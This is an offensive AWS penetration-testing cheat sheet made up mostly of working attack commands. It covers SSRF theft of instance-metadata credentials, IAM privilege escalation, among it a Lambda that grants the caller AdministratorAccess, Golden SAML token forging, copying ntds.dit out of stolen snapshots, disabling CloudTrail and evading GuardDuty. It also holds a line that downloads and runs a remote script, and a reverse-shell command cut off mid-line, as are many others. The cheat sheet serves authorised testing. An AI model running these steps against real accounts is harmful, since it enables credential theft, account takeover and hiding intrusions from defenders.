Cloud - AWS PENTEST

> Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services.

Summary

Training

- AWSGoat : A Damn Vulnerable AWS Infrastructure - https://github.com/ine-labs/AWSGoat
- Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
- SadCloud - https://github.com/nccgroup/sadcloud
- Flaws - http://flaws.cloud
- Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat

Tools

- SkyArk - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins
    - Requires read-Only permissions over IAM service

```
$ git clone https://github.com/cyberark/SkyArk
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AWStealth

or in the Cloud Console

PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserco
PS C> Scan-AWShadowAdmins
```

- Pacu - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set
    - Requires AWS Keys

```
$ git clone https://github.com/RhinoSecurityLabs/pacu
$ bash install.sh
$ python3 pacu.py
set_keys/swap_keys
ls
run <module_name> [--keyword-arguments]
run <module_name> --regions eu-west-1,us-west-1

# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
```

- Bucket Finder - Search for public buckets, list and download all files if directory indexing is enabled

```
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.
```

```
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
    US Standard         = http://s3.amazonaws.com
    Ireland             = http://s3-eu-west-1.amazonaws.com
    Northern California = http://s3-us-west-1.amazonaws.com
    Singapore           = http://s3-ap-southeast-1.amazonaws.com
    Tokyo               = http://s3-ap-northeast-1.amazonaws.com

./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words
```

- Boto3 - Amazon Web Services (AWS) SDK for Python

```
import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_acc

try:
    result = s3.list_buckets()
    print(result)
except Exception as e:
    print(e)
```

- Prowler - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness

> It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
> * Require: arn:aws:iam::aws:policy/SecurityAudit

```
$ pip install awscli ansi2html detect-secrets
$ git clone https://github.com/toniblyx/prowler
$ sudo apt install jq
$ ./prowler -E check42,check43
$ ./prowler -p custom-profile -r us-east-1 -c check11
$ ./prowler -A 123456789012 -R ProwlerRole  # sts assume-role
```

- Principal Mapper - A tool for quickly evaluating IAM permissions in AWS

```
https://github.com/nccgroup/PMapper
pip install principalmapper
pmapper graph --create
pmapper visualize --filetype png
pmapper analysis --output-type text
```

```
# Determine if PowerUser can escalate privileges
pmapper query "preset privesc user/PowerUser"
pmapper argquery --principal user/PowerUser --preset privesc

# Find all principals that can escalate privileges
pmapper query "preset privesc *"
pmapper argquery --principal '*' --preset privesc

# Find all principals that PowerUser can access
pmapper query "preset connected user/PowerUser *"
pmapper argquery --principal user/PowerUser --resource '*' --preset connected

# Find all principals that can access PowerUser
pmapper query "preset connected * user/PowerUser"
pmapper argquery --principal '*' --resource user/PowerUser --preset connected
```

- ScoutSuite - Multi-Cloud Security Auditing Tool

```
$ git clone https://github.com/nccgroup/ScoutSuite
$ python scout.py PROVIDER --help
# The --session-token is optional and only used for temporary credentials (i.
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --
$ python scout.py azure --cli
```

- s3_objects_check - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files

```
$ git clone https://github.com/nccgroup/s3_objects_check
$ python3 -m venv env && source env/bin/activate
$ pip install -r requirements.txt
$ python s3-objects-check.py -h
$ python s3-objects-check.py -p whitebox-profile -e blackbox-profile
```

- cloudsplaining - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report

```
$ pip3 install --user cloudsplaining
$ cloudsplaining download --profile myawsprofile
$ cloudsplaining scan --input-file default.json
```

- weirdAAL - AWS Attack Library

```
python3 weirdAAL.py -m ec2_describe_instances -t demo
python3 weirdAAL.py -m lambda_get_account_settings -t demo
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2
```

- cloudmapper - CloudMapper helps you analyze your Amazon Web Services (AWS) environments

```
git clone https://github.com/duo-labs/cloudmapper.git
# sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tki
# You may additionally need "build-essential"
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq aw
pipenv install --skip-lock
pipenv shell
report: Generate HTML report. Includes summary of the accounts and audit find
iam_report: Generate HTML report for the IAM information of an account.
audit: Check for potential misconfigurations.
collect: Collect metadata about an account.
find_admins: Look at IAM policies to identify admin users and roles, or princ
```

- dufflebag - Find secrets that are accidentally exposed via Amazon EBS's "public" mode
- NetSPI/AWS Consoler - Convert AWS Credentials into a console access

AWS Patterns

Service	URL
s3	https://{user_provided}.s3.amazonaws.com
cloudfront	https://{random_id}.cloudfront.net
ec2	ec2-{ip-seperated}.compute-1.amazonaws.com
es	https://{user_provided}-{random_id}.{region}.es.amazonaws.com
elb	http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
elbv2	https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
rds	mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
rds	postgres://{user_provided}.{random_id}. {region}.rds.amazonaws.com:5432
route 53	{user_provided}

execute-api	https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
cloudsearch	https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com
transfer	sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
iot	mqtt://{random_id}.iot.{region}.amazonaws.com:8883
iot	https://{random_id}.iot.{region}.amazonaws.com:8443
iot	https://{random_id}.iot.{region}.amazonaws.com:443
mq	https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
mq	ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
kafka	b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
kafka	{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
cloud9	https://{random_id}.vfs.cloud9.{region}.amazonaws.com
mediastore	https://{random_id}.data.mediastore.{region}.amazonaws.com
kinesisvideo	https://{random_id}.kinesisvideo.{region}.amazonaws.com
mediaconvert	https://{random_id}.mediaconvert.{region}.amazonaws.com
mediapackage	https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel

AWS - Metadata SSRF

> AWS released additional security defences against the attack.

:warning: Only working with IMDSv1. Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required` .

In order to usr IMDSv2 you must provide a token.

```
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http:
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-
```

Method for Elastic Cloud Compute (EC2)

Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/

1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/

```
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
```

2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/

```
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}
```

Method for Container Service (Fargate)

1. Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ

```
JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae9
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_R
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67
```

2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447


```
{
    "RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
    "AccessKeyId": "ASIA54BL6PJR2L75XHVS",
    "SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
    "Token": "FQoGZXIvYXdzEMj/////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKl
    "Expiration": "2019-09-18T04:05:59Z"
}
```


AWS API calls that return credentials

- chime:createapikey
- codepipeline:pollforjobs
- cognito-identity:getopenidtoken
- cognito-identity:getopenidtokenfordeveloperidentity
- cognito-identity:getcredentialsforidentity
- connect:getfederationtoken
- connect:getfederationtokens
- ecr:getauthorizationtoken
- gamelift:requestuploadcredentials
- iam:createaccesskey
- iam:createloginprofile
- iam:createservicespecificcredential
- iam:resetservicespecificcredential
- iam:updateaccesskey
- lightsail:getinstanceaccessdetails
- lightsail:getrelationaldatabasemasteruserpassword
- rds-db:connect
- redshift:getclustercredentials
- sso:getrolecredentials
- mediapackage:rotatechannelcredentials
- mediapackage:rotateingestendpointcredentials
- sts:assumerole
- sts:assumerolewithsaml

- sts:assumerolewithwebidentity
- sts:getfederationtoken
- sts:getsessiontoken

AWS - Shadow Admin

Admin equivalent permission

- AdministratorAccess

```
"Action": "*"
"Resource": "*"
```

- **ec2:AssociateIamInstanceProfile** : attach an IAM instance profile to an EC2 instance

```
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role
```

- **iam:CreateAccessKey** : create a new access key to another IAM admin account

```
aws iam create-access-key –user-name target_user
```

- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it

```
$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`
```

- **iam:UpdateLoginProfile** : reset other IAM users' login passwords.

```
$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`
```

- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses

```
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::
$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws
```

- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.

```
$ aws iam put-user-policy --user-name my_username --policy-name my_inline_policy
```

- **iam:CreatePolicy** : add a stealthy admin policy
- **iam:AddUserToGroup** : add into the admin group of the organization.

```
$ aws iam add-user-to-group --group-name target_group --user-name my_username
```

- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.

```
$ aws iam update-assume-role-policy --role-name role_i_can_assume --policy-docu
```

- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.

```
$ aws iam create-policy-version --policy-arn target_policy_arn --policy-documen
$ aws iam set-default-policy-version --policy-arn target_policy_arn --version-i
```

- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.

```
$ aws lambda update-function-code --function-name target_function --zip-file fi
```

- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.

```
$ aws glue --endpoint-name target_endpoint --public-key file://path/to/my/publi
```

- **iam:PassRole** + **ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full

administrator access of the AWS account.

```
# add ssh key
$ aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-i
# execute a reverse shell
$ aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-i
```

- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.

```
$ aws lambda create-function --function-name my_function --runtime python3.6 --r
$ aws lambda invoke --function-name my_function output.txt
```

Example of code.py

```
import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
    UserName='my_username',
    PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
```

- **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.

```
$ aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_o
```

AWS - Gaining AWS Console Access via API Keys

A utility to convert your AWS CLI credentials into AWS console access.

```
$> git clone https://github.com/NetSPI/aws_consoler
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, crea
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session establis
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to f
```

```
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Desti
```

AWS - Enumerate IAM permissions

Enumerate the permissions associated with AWS credential set with enumerate-iam

```
git clone git@github.com:andresriancho/enumerate-iam.git
pip install -r requirements.txt
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for acce
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authoriza
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
    "RoleDetailList": [
        {
            "Tags": [],
            "AssumeRolePolicyDocument": {
                "Version": "2008-10-17",
                "Statement": [
                    {
...
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() work
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() wo
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_se
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
```

AWS - Mount EBS volume to EC2 Linux

:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.

1. Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
2. Select the created volume, right click and select the "attach volume" option.
3. Select the instance from the instance text box as shown below : `attach ebs volume`

```
aws ec2 create-volume -snapshot-id snapshot_id --availability-zone zone
aws ec2 attach-volume --volume-id volume_id --instance-id instance_id --device de
```

4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`

AWS - Copy EC2 using AMI Image

First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`

```
# create a new image for the instance-id
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --des

# add key to AWS
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.

# create ec2 using the previously created AMI, use the same security group and su
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "s

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-
```

AWS - Instance Connect - Push an SSH key to EC2 instance

```
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-f
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][]
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id I
```

AWS - Lambda - Extract function's code

```
# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vuln
$ aws lambda list-functions --profile uploadcreds
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY"
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
```

AWS - SSM - Command execution

:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.

SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):

- Windows Server 2008-2012 R2 AMIs published in November 2016 or later
- Windows Server 2016 and 2019
- Amazon Linux
- Amazon Linux 2
- Ubuntu Server 16.04
- Ubuntu Server 18.04
- Amazon ECS-Optimized

```
$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-Run
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --que

e.g:
$ aws ssm send-command --instance-ids "i-05b[redacted]adaa" --document-name "AWS-Ru
```

AWS - Golden SAML Attack

https://www.youtube.com/watch?v=5dj4vOqqGZw
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/

> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.

Requirement:

- Token-signing private key (export from personal store using Mimikatz)
- IdP public certificate
- IdP name
- Role name (role to assume)

```
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signx
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 12345678901
```

AWS - Shadow Copy attack

Prerequisite:

- EC2:CreateSnapshot
- CloudCopy - https://github.com/Static-Flow/CloudCopy

1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
2. Run `"Describe-Instances"` and show in list for attacker to select
3. Run `"Create-Snapshot"` on volume of selected instance
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
5. Load AWS CLI with Attacker Credentials
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
7. Ssh run `"sudo mkdir /windows"`
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'` , expects secretsdump to be on path

Disable CloudTrail

```
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
```

Disable monitoring of events from global services

```
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-
```

Disable Cloud Trail on specific regions

```
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-
```

Cover tracks by obfuscating Cloudtrail logs and Guard Duty

:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.

Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)

```
boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower():  # I
    # GuardDuty triggers a finding around API calls made from Kali Linux, so let'
    self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifyin
```

DynamoDB

> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.

- list tables

```
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables

{
    "TableNames": [
        "users"
```

```
    ]
}
```

- enumerate table content

```
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -

{
  "password": {
    "S": "Management@#1@#"
  },
  "username": {
    "S": "Mgmt"
  }
}
```

Security checks

Security checks from DenizParlak/Zeus: AWS Auditing & Hardening Tool

- Identity and Access Management
  - Avoid the use of the "root" account
  - Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
  - Ensure credentials unused for 90 days or greater are disabled
  - Ensure access keys are rotated every 90 days or less
  - Ensure IAM password policy requires at least one uppercase letter
  - Ensure IAM password policy requires at least one lowercase letter
  - Ensure IAM password policy requires at least one symbol
  - Ensure IAM password policy requires at least one number
  - Ensure IAM password policy requires minimum length of 14 or greater
  - Ensure no root account access key exists
  - Ensure MFA is enabled for the "root" account
  - Ensure security questions are registered in the AWS account
  - Ensure IAM policies are attached only to groups or role
  - Enable detailed billing
  - Maintain current contact details
  - Ensure security contact information is registered

    - Ensure IAM instance roles are used for AWS resource access from instances
- Logging
    - Ensure CloudTrail is enabled in all regions
    - Ensure CloudTrail log file validation is enabled
    - Ensure the S3 bucket CloudTrail logs to is not publicly accessible
    - Ensure CloudTrail trails are integrated with CloudWatch Logs
    - Ensure AWS Config is enabled in all regions
    - Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
    - Ensure CloudTrail logs are encrypted at rest using KMS CMKs
    - Ensure rotation for customer created CMKs is enabled
- Networking
    - Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
    - Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
    - Ensure VPC flow logging is enabled in all VPC
    - Ensure the default security group of every VPC restricts all traffic
- Monitoring
    - Ensure a log metric filter and alarm exist for unauthorized API calls
    - Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
    - Ensure a log metric filter and alarm exist for usage of "root" account
    - Ensure a log metric filter and alarm exist for IAM policy changes
    - Ensure a log metric filter and alarm exist for CloudTrail configuration changes
    - Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
    - Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
    - Ensure a log metric filter and alarm exist for S3 bucket policy changes
    - Ensure a log metric filter and alarm exist for AWS Config configuration changes
    - Ensure a log metric filter and alarm exist for security group changes
    - Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
    - Ensure a log metric filter and alarm exist for changes to network gateways
    - Ensure a log metric filter and alarm exist for route table changes
    - Ensure a log metric filter and alarm exist for VPC changes

AWSome Pentesting Cheatsheet

- Created by pop3ret

Searching for open buckets

```
https://buckets.grayhatwarfare.com/
```

ARN

A number to identify an object in AWS

Example

```
arn:aws:iam:100:user/admin
```

1. Field -> ARN
2. Field -> Type, most of time will be AWS
3. Field -> service, in this case IAM
4. Field -> User ID
5. Field -> entity identifier

IAM

- It's assumed that we have gain access to the AWS Credentials
- We can see if we have permissions using Amazon's policy simulator
- Always look for policies and roles with the * symbol.
- See which user do not have MFA enabled
- User enumeration in IAM Panel and group enumeration
- We can also enumerate roles from the same interface
- Root user is super admin

Configure AWS cli

```
aws configure
```

Or configure it using a profile

```
aws configure --profile example_name
```

The credential file is located in `~/.aws/credentials`

Listing IAM access Keys

```
aws iam list-access-keys
```

1. Enumerating IAM users

Checking credentials for the user

```
aws sts get-caller-identity
```

Listing IAM Users

```
aws iam list-users
```

Listing the IAM groups that the specified IAM user belongs to

```
aws iam list-groups-for-user --user-name user-name
```

Listing all manages policies that are attached to the specified IAM user

```
aws iam list-attached-user-policies --user-name user-name
```

Listing the names of the inline policies embedded in the specified IAM user

```
aws iam list-user-policies --user-name user-name
```

2. Enumerating Groups IAM

Listing IAM Groups

```
aws iam list-groups
```

Listing all managed policies that are attached to the specified IAM Group

```
aws iam list-attached-group-policies --group-name group-name
```

Listing the names of the inline policies embedded in the specified IAM Group

```
aws iam list-group-policies --group-name group name
```

3. Enumeratig Roles

Listing IAM Roles

```
aws iam list-roles
```

Listsing all managed policies that are attached to the specified IAM role

```
aws iam list-attached-role-policies --role-name role-name
```

Listing the names of the inline policies embedded in the specified IAM role

```
aws iam list-role-policies --role-name role-name
```

4. Enumerating Policies

Listing of IAM Policies

```
aws iam list-policies
```

Retrieving information about the specified managed policy

```
aws iam get-policy --policy-arn policy-arn
```

Listing information about the versions of the specified manages policy

```
aws iam list-policy-versions --policy-arn policy-arn
```

Retrieving information about the specific version of the specified managed policy

```
aws iam get-policy-version --policy-arn policy-arn --version-id version-id
```

Retrieving the specified inline policy document that is embedded on the specified IAM user / group / role

```
aws iam get-user-policy --user-name user-name --policy-name policy-name

aws iam get-group-policy --group-name group-name --policy-name policy-name

aws iam get-role-policy --role-name role-name --policy-name policy-name
```

5. Exploitation Scenario

General Guidelines

- AWS token compromised (Developer machine, phishing etc) and we as attackers will gonna use it.

Enumerating the owner of the key and initial compromise

```
aws sts get-caller-identity
```

Or specifing a profile

```
aws sts get-caller-identity --profile example_name
```

If you have the password of the root account instead of key, log in

```
https://signin.aws.amazon.com/console
```

Or use the IAM in case the account is not the root

```
https://account-id-here.signin.aws.amazon.com/console
```

The account id can be cathered using the sts get caller command.

Privilege Escalation

- Privilege escalation on AWS is based on misconfigurations, if we have more permissions than necessary, its possible to obtain higher privileges.

Study Case

- A user was compromised with the *List Policy* and *Put User Policy* permissions, an attacker could leverage this *Put User* privilege to add an inline administrator to itself, making it administrator of the instance.

Exploitation

1. Getting the IAM user

```
aws sts get-caller-identity
```

2. Listing policies attached to an user

```
aws iam list-attached-user-policies --user-name example_name -- profile example_p
```

3. Retrieving informations about an specific policy

```
aws iam get-policy --policy-arn policy_arn
```

If there are more than one version of the policy, we can also list them

```
aws iam list-policy-versions --policy-arn policy_arn
```

Now we can finally retrieve the contents of the policy

```
aws iam get-policy-version --policy-arn example_arn --version-id id_example
```

It's important to use the command above to chech the information about the default policy

4. Escalation

If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user.

Administrator policy example

```
{
    "Version": "2021-10-17",
    "Statement" : [
        {
            "Effect":"Allow",
            "Action": [
                "*"
            ],
            "Resource":[
                "*"
            ]
        }
    ]
}
```

Attaching this policy into our user

```
aws iam put-user-policy --user-name example_username --policy-name example_name -
```

Listing inline policies of our user

```
aws iam list-user-policies --user-name example_name
```

Listing a restricted resource (Example S3)

```
aws s3 ls --profile example_profile
```

Interesting Permissions

- iam:AttachUserPolicy -> Attach a policy to a user

- iam:AttachGroupPolicy -> Attach a policy to a group
- iam:AttachRolePolicy -> Attach a policy to a role
- iam:CreateAccessKey -> Creates a new access key
- iam:CreateLoginProfile -> Creates a new login profile
- iam:UpdateLoginProfile -> Update an existing login profile
- iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance profile
- iam:PuserUserPolicy -> Create/Update an inline policy
- iam:PutGroupPolicy -> Create/Update an inline policy for a group
- iam:PutRolePolicy -> Create/Update an inline policy for a role
- iam:AddUserToGroup -> Add an user to a group
- iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the AssumeRolePolicyDocument of a role
- iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new lambda function and invoke it
- lambda:UpdateFunctionCode -> Update the code of an existing lambda function

Persistence & Backdooring

- Suppose we have two users, the user A has permissions to create Access Keys to user B, this misconfig allows us to create an access key for user B and persist our access.

Creating a new access key for another user

```
aws iam create-access-key --username example_username
```

Configuring AWS cli for the new user

```
aws configure --profile example_profile
```

Remember, an user can have the maximum of 2 access keys.

Testing the credential

```
aws sts get-caller-identity --profile example_profile
```

Accessing more credentials

- It's possible to assume other roles with the sts:AssumeRole permission (Example: An user doesn't have access to an s3 instance, but it has this permission, we can easily assume other roles if we are in the trust relashionship, increasing our access in the instance)

Listing managed policies attached to an user

```
aws iam list-attached-user-policies --user-name example_name
```

Retrieving information about an specific policy

```
aws iam get-policy --policy-arn ARN
```

Listing information about the version of the policy

```
aws iam list-policy-versions --policy-arn ARN
```

Retrieving information about an specific version

```
aws iam get-policy-version --policy-arn policy_arn --version-id ID
```

Listing IAM roles

```
aws iam list-roles
```

